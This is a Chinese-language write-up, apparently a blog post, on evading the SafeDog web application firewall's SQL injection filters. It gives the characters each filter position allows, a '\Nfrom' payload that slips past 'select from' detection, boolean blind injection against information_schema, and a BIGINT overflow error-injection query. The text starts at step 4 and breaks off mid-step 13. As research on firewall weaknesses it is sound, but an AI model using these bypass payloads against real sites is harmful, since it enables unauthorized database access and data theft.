一次艰难的安全狗规则绕过

4:测试sql注入规则绕过的时候,一般都会先去测试 []select[][]from[]这个点的规则

经过大量的反复的测试,得到如下的结果:除开%a0以外,基本上在安全狗的环境下:上面方括号代表位置1-4

  1. 1):位置1允许a-z,A-Z以及_和数字
  2. 2):位置2允许a-z,A-Z以及_和数字
  3. 3):位置3允许a-zA-Z以及_
  4. 4):位置4允许a-z,A-Z以及_和数字
5:知晓各个点的过滤情况之后接下来就是翻阅资料,翻阅到之前的那个精华帖子

code 区域
      http://zone.wooyun.org/content/16772
    

里面使用了一个字符引起了注意:

code 区域
      
        select * from users where id=
        \N
        union select 1,2,3,4,5,6,7,8,9,0
      
    

这里\N的字符能用在union这,能不能用在\Nfrom前面,如果能用在from前面可能就能够绕过select from的检测

6:在mysql console下进行测试发现:

7:因此这里我们便可以使用这样的payload绕过select from的检测

code 区域
      select 1,\Nfrom table
    

8:目的是要能绕过安全狗防护爆出数据,本来以为可以直接就爆出数据,但是在测试的过程中又发现了一些问题。

分析:
由于数据读取的时候,会用到如下的语句

  1. select schema_name from information_schema.schemata limit 1
又由于要绕过select from的限制,因此就要使用select 1,\N的形式。而这里报错貌似要求只能有一列的返回结果,但是由于引入了\N符号,必须要有两列。

9:之前有作过如下的测试:

可以看出两列也是可以做大小判断的,因此至少可以试试盲注。

10:第一个schema_name的长度是18,结果为真的时候显示了数据库记录

11:结果为假的时候显示为空

可以盲住。

12:接下来来看看如何进行报错的注入,发现有如下记录:

code 区域
      http://zone.wooyun.org/content/13270
    

里面提到了

code 区域
      mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR 

1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))'

13:这个报错有限制,提示是mysql5.5版本以上才能使用,既然如此试试

该是两边长度不一样,既然这样粗暴点直接给补齐再试试: